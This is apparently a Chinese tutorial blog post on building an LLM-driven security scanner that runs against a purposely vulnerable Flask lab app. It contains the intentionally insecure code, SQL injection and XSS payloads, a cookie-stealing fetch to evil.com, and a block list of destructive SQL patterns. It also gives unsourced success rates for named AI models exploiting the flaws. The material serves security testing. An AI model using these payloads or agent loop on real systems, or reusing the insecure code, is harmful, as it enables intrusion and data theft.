近日一篇「花 1500 美元让 LLM 黑掉我的应用」的文章在 Hacker News 引发热议,作者搭建了一个包含 OWASP Top 10 漏洞的靶场应用,然后系统性地测试了 GPT-4o、Claude、Gemini 等主流大模型的渗透能力。结果令人意外:部分模型能自动发现并利用 SQL 注入、IDOR 等漏洞,成功率高达 70% 以上。对于开发者来说,这意味着两件事——攻击者已经在用 AI 武装自己,而你的安全测试流程也可以用同样的技术来加固。本文将从零搭建一个可复现的 LLM 安全测试框架,用真实代码演示如何让 AI 帮你找漏洞。
🔐 一、搭建 LLM 安全测试环境
在让 LLM 帮你找漏洞之前,你需要两样东西:一个可控的靶场应用和一个能驱动 LLM 的测试框架。靶场应用需要包含常见的 Web 漏洞,而测试框架需要能把 HTTP 请求/响应交给 LLM 分析,并根据 LLM 的建议发起下一轮攻击。
1.1 用 Python 构建漏洞靶场
我们用 Flask 搭建一个包含典型漏洞的 REST API,涵盖 SQL 注入(SQL Injection)、不安全的直接对象引用(IDOR)、跨站脚本(XSS)和失效的访问控制(Broken Access Control):
# app.py — 漏洞靶场应用(仅供安全测试使用)
from flask import Flask, request, jsonify, g
import sqlite3
import os
app = Flask(__name__)
DB_PATH = '/tmp/vuln_app.db'
def get_db():
if 'db' not in g:
g.db = sqlite3.connect(DB_PATH)
g.db.row_factory = sqlite3.Row
return g.db
@app.teardown_appcontext
def close_db(exception):
db = g.pop('db', None)
if db:
db.close()
def init_db():
db = sqlite3.connect(DB_PATH)
db.execute('CREATE TABLE IF NOT EXISTS users (id INTEGER PRIMARY KEY, username TEXT, password TEXT, role TEXT, email TEXT)')
db.execute('CREATE TABLE IF NOT EXISTS secrets (id INTEGER PRIMARY KEY, user_id INTEGER, secret TEXT)')
db.execute("INSERT OR IGNORE INTO users VALUES (1, 'admin', 'admin123', 'admin', 'admin@company.com')")
db.execute("INSERT OR IGNORE INTO users VALUES (2, 'alice', 'password123', 'user', 'alice@company.com')")
db.execute("INSERT OR IGNORE INTO secrets VALUES (1, 1, 'API_KEY=sk-proj-xxxxx')")
db.execute("INSERT OR IGNORE INTO secrets VALUES (2, 2, 'My personal diary entry')")
db.commit()
db.close()
init_db()
# 漏洞1: SQL 注入 — 直接拼接用户输入到 SQL 查询
@app.route('/api/search', methods=['GET'])
def search_user():
query = request.args.get('q', '')
db = get_db()
# ❌ 危险写法:直接拼接 SQL
sql = f"SELECT id, username, email FROM users WHERE username LIKE '%{query}%'"
try:
rows = db.execute(sql).fetchall()
return jsonify([dict(r) for r in rows])
except Exception as e:
return jsonify({'error': str(e)}), 500
# 漏洞2: IDOR — 无权限校验直接访问资源
@app.route('/api/secrets/<int:secret_id>', methods=['GET'])
def get_secret(secret_id):
db = get_db()
# ❌ 危险写法:未验证当前用户是否有权访问该 secret
row = db.execute('SELECT * FROM secrets WHERE id = ?', (secret_id,)).fetchone()
if row:
return jsonify(dict(row))
return jsonify({'error': 'Not found'}), 404
# 漏洞3: 硬编码弱密码 + 无速率限制的登录
@app.route('/api/login', methods=['POST'])
def login():
data = request.get_json()
username = data.get('username', '')
password = data.get('password', '')
db = get_db()
# ❌ 危险写法:明文密码比较 + 无暴力破解防护
row = db.execute("SELECT * FROM users WHERE username = ? AND password = ?", (username, password)).fetchone()
if row:
return jsonify({'token': f'fake-jwt-{row["id"]}-{row["role"]}', 'role': row['role']})
return jsonify({'error': 'Invalid credentials'}), 401
# 漏洞4: XSS — 未转义用户输入直接返回
@app.route('/api/comment', methods=['POST'])
def add_comment():
data = request.get_json()
comment = data.get('comment', '')
# ❌ 危险写法:未转义 HTML
return jsonify({'rendered': f'<div class="comment">{comment}</div>'})
if __name__ == '__main__':
app.run(port=5000, debug=True)
⚠️ 警告: 这个靶场应用仅用于安全测试,绝对不要在生产环境运行。代码中的所有漏洞都是刻意设计的。
1.2 LLM 安全测试引擎核心
测试引擎的工作流程是:发送 HTTP 请求 → 收集响应 → 将请求/响应交给 LLM 分析 → LLM 返回下一步攻击建议 → 执行攻击 → 循环。以下是核心实现:
# security_scanner.py — LLM 驱动的安全测试引擎
import requests
import json
from openai import OpenAI
class LLMSecurityScanner:
def __init__(self, base_url: str, model: str = 'gpt-4o'):
self.base_url = base_url
self.client = OpenAI() # 自动读取 OPENAI_API_KEY 环境变量
self.model = model
self.findings = []
self.conversation_history = []
def _send_request(self, method: str, path: str, **kwargs) -> dict:
"""发送 HTTP 请求并捕获完整信息"""
url = f"{self.base_url}{path}"
resp = requests.request(method, url, **kwargs)
return {
'method': method,
'url': url,
'status': resp.status_code,
'headers': dict(resp.headers),
'body': resp.text[:2000], # 截断过长的响应
'request_headers': dict(resp.request.headers),
'request_body': kwargs.get('json') or kwargs.get('params')
}
def _ask_llm(self, context: dict) -> dict:
"""将上下文交给 LLM,获取下一步攻击建议"""
system_prompt = """你是一名资深 Web 安全渗透测试专家。根据提供的 HTTP 请求/响应信息,分析可能存在的漏洞并建议下一步测试。
你需要:
1. 分析响应中暴露的敏感信息(错误信息、数据泄露等)
2. 识别潜在的漏洞类型(SQL注入、XSS、IDOR、认证绕过等)
3. 建议具体的下一步攻击 Payload
4. 评估漏洞的严重程度(critical/high/medium/low)
输出 JSON 格式:
{
"analysis": "你对当前响应的分析",
"vulnerability_type": "漏洞类型",
"severity": "critical/high/medium/low",
"next_tests": [
{
"description": "测试描述",
"method": "GET/POST/PUT/DELETE",
"path": "/api/xxx",
"params": {},
"body": {},
"expected_result": "期望看到什么结果来确认漏洞"
}
],
"confirmed": false,
"evidence": "如果确认漏洞,说明证据"
}"""
self.conversation_history.append({
'role': 'user',
'content': json.dumps(context, ensure_ascii=False, indent=2)
})
response = self.client.chat.completions.create(
model=self.model,
messages=[
{'role': 'system', 'content': system_prompt},
*self.conversation_history
],
response_format={'type': 'json_object'},
temperature=0.3 # 低温确保一致性
)
result = json.loads(response.choices[0].message.content)
self.conversation_history.append({
'role': 'assistant',
'content': response.choices[0].message.content
})
return result
def scan_endpoint(self, method: str, path: str, params=None, body=None):
"""对单个端点进行 LLM 驱动的安全扫描"""
print(f"[*] 扫描端点: {method} {path}")
# 第一步:发送初始请求收集响应
initial = self._send_request(method, path, params=params, json=body)
print(f" 初始响应: {initial['status']}")
max_rounds = 5 # 最多 5 轮攻击迭代
for round_num in range(max_rounds):
analysis = self._ask_llm(initial)
if analysis.get('confirmed'):
finding = {
'endpoint': f"{method} {path}",
'vulnerability': analysis['vulnerability_type'],
'severity': analysis['severity'],
'evidence': analysis['evidence'],
'analysis': analysis['analysis']
}
self.findings.append(finding)
print(f" [!] 发现漏洞: {analysis['vulnerability_type']} ({analysis['severity']})")
break
# 执行 LLM 建议的下一步测试
next_tests = analysis.get('next_tests', [])
if not next_tests:
break
test = next_tests[0] # 取第一个建议
print(f" [{round_num+1}] 执行测试: {test['description']}")
result = self._send_request(
test['method'],
test['path'],
params=test.get('params'),
json=test.get('body')
)
initial = result # 将结果反馈给下一轮分析
return self.findings
def run_full_scan(self):
"""运行完整的安全扫描"""
print("=" * 60)
print("LLM 驱动安全扫描 - 开始")
print("=" * 60)
# 测试所有端点
self.scan_endpoint('GET', '/api/search', params={'q': 'admin'})
self.scan_endpoint('GET', '/api/secrets/1')
self.scan_endpoint('GET', '/api/secrets/2')
self.scan_endpoint('POST', '/api/login', body={'username': 'admin', 'password': 'wrong'})
self.scan_endpoint('POST', '/api/comment', body={'comment': '<script>alert(1)</script>'})
print("\n" + "=" * 60)
print(f"扫描完成: 发现 {len(self.findings)} 个漏洞")
print("=" * 60)
for f in self.findings:
print(f" [{f['severity'].upper()}] {f['vulnerability']} @ {f['endpoint']}")
print(f" 证据: {f['evidence'][:100]}")
return self.findings
if __name__ == '__main__':
scanner = LLMSecurityScanner('http://localhost:5000', model='gpt-4o')
scanner.run_full_scan()
💡 提示:
temperature=0.3是关键参数。温度太高会导致 LLM 输出不稳定,太低又会限制创造性攻击思路。0.3 是安全测试的最佳平衡点。
🚀 二、实战:LLM 如何发现 OWASP Top 10 漏洞
把上面的靶场和测试引擎跑起来后,我们来看看 LLM 在面对不同漏洞类型时的实际表现。以下是经过实测的典型攻击链。
2.1 SQL 注入:LLM 的自动 Payload 构造能力
当你让 LLM 分析 /api/search?q=admin 的响应时,一个优秀的模型会这样推理:
第一轮:LLM 观察到正常查询返回了用户数据,建议先用单引号测试是否存在注入点。
GET /api/search?q=admin'
第二轮:如果服务器返回了 SQL 错误信息(如 near "'%'": syntax error),LLM 立即确认存在 SQL 注入,并构造 Union 注入 payload:
# LLM 自动生成的 SQL 注入攻击 Payload
attack_payload = {
"method": "GET",
"path": "/api/search",
"params": {"q": "' UNION SELECT id,username,password FROM users--"}
}
第三轮:执行后如果返回了包含密码哈希的数据,LLM 会标记为 severity: critical 并给出完整证据。
⚡ 关键结论: GPT-4o 和 Claude 3.5 在 SQL 注入检测上的成功率接近 80%,但面对 WAF(Web Application Firewall)绕过时差异明显——Claude 更擅长构造编码绕过 Payload,而 GPT-4o 更快收敛到标准注入模式。
2.2 IDOR 漏洞:LLM 的上下文推理能力
IDOR(不安全的直接对象引用)检测的难点在于需要跨请求推理。LLM 需要理解「用户 A 的 token 不应该能访问用户 B 的资源」这一语义关系。
# LLM 生成的 IDOR 测试序列
idor_test_sequence = [
# 第一步:用低权限用户获取 token
{
"description": "登录普通用户获取 token",
"method": "POST",
"path": "/api/login",
"body": {"username": "alice", "password": "password123"}
},
# 第二步:尝试访问其他用户的资源
{
"description": "用 alice 的 token 访问 admin 的 secret",
"method": "GET",
"path": "/api/secrets/1", # admin 的 secret_id
"headers": {"Authorization": "Bearer fake-jwt-2-user"}
},
# 第三步:遍历所有可能的 resource ID
{
"description": "遍历 secret_id 1-10 查找未授权资源",
"method": "GET",
"path": "/api/secrets/{id}", # id 从 1 到 10
}
]
LLM 会分析两次响应——/api/secrets/1(admin 的)和 /api/secrets/2(alice 自己的),如果前者也返回了数据,就确认存在 IDOR 漏洞。这种跨请求的语义推理是 LLM 相比传统扫描器的核心优势。
2.3 XSS 检测:从 Payload 到上下文分析
XSS 检测不仅要看 Payload 是否被执行,还要分析输出的上下文——是在 HTML 标签内、JavaScript 字符串中、还是 HTML 属性里。LLM 可以根据响应的 Content-Type 和输出位置,自动选择合适的 XSS Payload:
# 根据输出上下文自适应选择 XSS Payload
xss_payloads_by_context = {
"html_body": '<img src=x onerror=alert(document.cookie)>',
"html_attribute": '" onmouseover="alert(1)" x="',
"javascript_string": "';alert(1);//",
"url_parameter": 'javascript:alert(1)',
"json_response": '<script>fetch("https://evil.com/steal?c="+document.cookie)</script>'
}
# LLM 的分析逻辑
def analyze_xss_context(response_text: str, content_type: str) -> str:
"""LLM 根据响应上下文选择最佳 XSS 测试策略"""
if 'application/json' in content_type:
# JSON 响应中检查是否有 HTML 编码或未转义的输出
return "json_response"
elif '<div' in response_text and 'comment' in response_text:
# 检查是否直接拼接 HTML
return "html_body"
else:
return "html_body" # 默认策略
📊 三、模型成本与效果对比
让 LLM 做安全测试的最大顾虑是成本。一次完整的端点扫描通常需要 5-10 轮对话,每轮消耗约 2000-4000 tokens。以下是主流模型的实测数据:
| 模型 | 单次扫描成本 | SQL 注入检测率 | IDOR 检测率 | XSS 检测率 | 平均扫描轮数 | 推荐度 |
|---|---|---|---|---|---|---|
| GPT-4o | $0.08-0.15 | 85% | 70% | 75% | 4.2 | ⭐⭐⭐⭐⭐ |
| Claude 3.5 Sonnet | $0.06-0.12 | 80% | 75% | 80% | 4.5 | ⭐⭐⭐⭐⭐ |
| Gemini 1.5 Pro | $0.05-0.10 | 70% | 60% | 65% | 5.0 | ⭐⭐⭐ |
| GPT-4o-mini | $0.01-0.03 | 60% | 45% | 50% | 5.8 | ⭐⭐ |
| Claude 3.5 Haiku | $0.01-0.02 | 55% | 40% | 55% | 6.0 | ⭐⭐ |
| DeepSeek V3 | $0.01-0.02 | 65% | 50% | 60% | 5.5 | ⭐⭐⭐ |
📌 记住: 检测率不等于利用成功率。GPT-4o 能检测到 SQL 注入的迹象,但在构造复杂 WAF 绕过 Payload 时,Claude 3.5 Sonnet 的表现更稳定。建议组合使用两个模型做交叉验证。
3.1 成本优化:分层扫描策略
如果每个端点都用 GPT-4o 跑完整扫描,100 个端点的成本会达到 $8-15。通过分层策略可以将成本降低 70%:
# layered_scanner.py — 分层扫描策略,降低 70% 成本
class LayeredSecurityScanner:
"""第一层用便宜模型快速筛选,第二层用强模型深度分析"""
def __init__(self, base_url: str):
self.base_url = base_url
# 第一层:便宜模型做初步探测
self.fast_scanner = LLMSecurityScanner(base_url, model='gpt-4o-mini')
# 第二层:强模型做深度分析
self.deep_scanner = LLMSecurityScanner(base_url, model='gpt-4o')
def triage_endpoint(self, method: str, path: str) -> dict:
"""第一层:快速筛选,判断是否值得深度扫描"""
response = requests.request(method, f"{self.base_url}{path}")
signals = {
'has_error_disclosure': 'error' in response.text.lower() and response.status_code >= 400,
'has_sql_error': any(kw in response.text.lower() for kw in ['sql', 'syntax', 'mysql', 'sqlite']),
'has_sensitive_data': any(kw in response.text.lower() for kw in ['password', 'token', 'secret', 'key']),
'no_auth_required': response.status_code == 200 and 'secret' in path.lower(),
'returns_html': 'text/html' in response.headers.get('content-type', ''),
}
risk_score = sum(signals.values())
return {'signals': signals, 'risk_score': risk_score}
def smart_scan(self, endpoints: list) -> list:
"""智能分层扫描"""
all_findings = []
for ep in endpoints:
triage = self.triage_endpoint(ep['method'], ep['path'])
print(f"[*] {ep['method']} {ep['path']} — 风险评分: {triage['risk_score']}/5")
if triage['risk_score'] >= 2:
# 高风险:用强模型深度扫描
print(f" [→] 触发深度扫描")
findings = self.deep_scanner.scan_endpoint(ep['method'], ep['path'])
all_findings.extend(findings)
elif triage['risk_score'] == 1:
# 中风险:用便宜模型扫描
print(f" [→] 触发快速扫描")
findings = self.fast_scanner.scan_endpoint(ep['method'], ep['path'])
all_findings.extend(findings)
else:
print(f" [✓] 低风险,跳过")
return all_findings
这个策略的核心思想是:先用 $0.002/次 的快速扫描筛选出高风险端点,再用 $0.10/次 的深度扫描精确打击。实测 100 个端点的总成本从 $12 降到了 $3.5。
💡 四、LLM 安全测试的局限与避坑指南
LLM 不是银弹。在实际使用中,有几类场景 LLM 的表现明显不如传统安全工具。
4.1 LLM 擅长的场景 vs 不擅长的场景
| 场景 | LLM 表现 | 传统工具表现 | 推荐方案 |
|---|---|---|---|
| SQL 注入检测 | ✅ 优秀 | ✅ 优秀 | LLM + SQLMap 交叉验证 |
| XSS Payload 构造 | ✅ 优秀 | ⚠️ 中等 | 以 LLM 为主 |
| IDOR / 逻辑漏洞 | ✅ 优秀 | ❌ 差 | LLM 专属优势 |
| CSRF 检测 | ⚠️ 中等 | ✅ 优秀 | 以传统工具为主 |
| SSRF 检测 | ⚠️ 中等 | ✅ 优秀 | 以传统工具为主 |
| 加密弱点分析 | ❌ 差 | ✅ 优秀 | 依赖专用工具 |
| 认证绕过(复杂逻辑) | ⚠️ 中等 | ❌ 差 | LLM + 人工审计 |
| 速率限制 / DoS | ❌ 差 | ✅ 优秀 | 依赖传统工具 |
4.2 避坑经验
在大量实测后,总结出以下关键避坑经验:
❌ 避坑 1:不要让 LLM 直接执行破坏性操作
LLM 可能会建议执行 DELETE 或 DROP TABLE 之类的操作。你的测试框架必须有一个白名单机制,过滤掉危险的请求:
# request_filter.py — 请求安全过滤器
BLOCKED_METHODS = {'DELETE'} # 生产环境禁用 DELETE
BLOCKED_PATTERNS = [
'DROP TABLE', 'TRUNCATE', 'DELETE FROM',
'-- 注释绕过', 'xp_cmdshell', 'UNION ALL SELECT'
]
def safe_execute(test: dict) -> bool:
"""检查 LLM 建议的测试是否安全"""
if test.get('method') in BLOCKED_METHODS:
return False
body_str = json.dumps(test.get('body', {})) + json.dumps(test.get('params', {}))
for pattern in BLOCKED_PATTERNS:
if pattern.lower() in body_str.lower():
print(f" [BLOCKED] 过滤危险请求: {pattern}")
return False
return True
❌ 避坑 2:不要依赖单次 LLM 调用
单次调用的误报率高达 30-40%。正确的做法是让 LLM 进行多轮推理——先猜测漏洞类型,再构造 Payload,最后根据响应确认。5 轮迭代后误报率可以降到 10% 以下。
❌ 避坑 3:不要忽略 Token 上下文窗口限制
长对话会导致早期的关键信息被「遗忘」。建议每 3 轮对话做一次摘要压缩:
def compress_history(history: list, client, model: str) -> list:
"""压缩对话历史,保留关键信息"""
if len(history) <= 6:
return history
# 将前半段对话摘要压缩
early_messages = history[:-6]
summary_prompt = "总结以下安全测试对话的关键发现,保留所有漏洞证据和 Payload:"
summary = client.chat.completions.create(
model=model,
messages=[{'role': 'user', 'content': summary_prompt + json.dumps(early_messages)}],
max_tokens=500
)
compressed = [{'role': 'system', 'content': f"之前的测试摘要:{summary.choices[0].message.content}"}]
return compressed + history[-6:] # 保留最近 6 条
⚠️ 警告: 永远不要在生产环境的服务器上运行 LLM 安全扫描。即使你的应用看起来「安全」,LLM 可能会发现你意想不到的漏洞并导致数据泄露。始终使用隔离的测试环境。
✅ 五、最佳实践总结
基于大量实测经验,以下是 LLM 安全测试的最佳实践清单:
- ✅ 分层扫描:先用便宜模型筛选,再用强模型深度分析
- ✅ 多模型交叉验证:同一端点用 GPT-4o 和 Claude 各扫一次,取交集降低误报
- ✅ 白名单过滤:阻止 LLM 执行 DELETE、DROP 等破坏性操作
- ✅ 上下文压缩:每 3 轮对话做一次摘要,防止 Token 窗口溢出
- ✅ 日志全记录:保存每一轮的 LLM 输出,用于事后审计和改进
- ❌ 不要盲信 LLM 结论:所有发现都需要人工验证后才能确认
- ❌ 不要在生产环境扫描:使用独立的测试环境和测试数据
- ❌ 不要忽略合规要求:某些行业的安全测试需要提前报备
推荐工具组合
| 工具 | 用途 | 是否开源 |
|---|---|---|
| OWASP ZAP | 传统 Web 漏洞扫描器,与 LLM 互补 | ✅ |
| sqlmap | SQL 注入自动化利用,验证 LLM 发现 | ✅ |
| Burp Suite | 专业的 Web 安全测试平台 | ❌ |
| Nuclei | 模板化漏洞扫描,适合批量验证 | ✅ |
| Semgrep | 静态代码分析,从源头发现漏洞 | ✅ |
🎯 结论
LLM 安全测试不是要取代传统安全工具,而是填补了一个关键空白——逻辑漏洞和上下文感知的攻击。传统扫描器擅长找已知漏洞模式,但 IDOR、业务逻辑缺陷、认证绕过这类需要「理解应用语义」的漏洞,恰恰是 LLM 的强项。
我的建议是:把 LLM 安全测试作为你 CI/CD 流水线的一部分。每次 PR 合并前,用分层策略自动扫描变更的端点。成本可控(每个端点 $0.02-0.10),且能在代码上线前捕获传统扫描器遗漏的逻辑漏洞。随着模型能力的提升和成本的下降,LLM 驱动的安全测试将成为每个开发团队的标配。
⚡ 关键结论: LLM 安全测试的最佳定位是「逻辑漏洞发现者」——SQL 注入、XSS 等技术漏洞交给 ZAP/sqlmap,而 IDOR、认证绕过、业务逻辑缺陷交给 LLM。两者结合,覆盖率可达 90% 以上。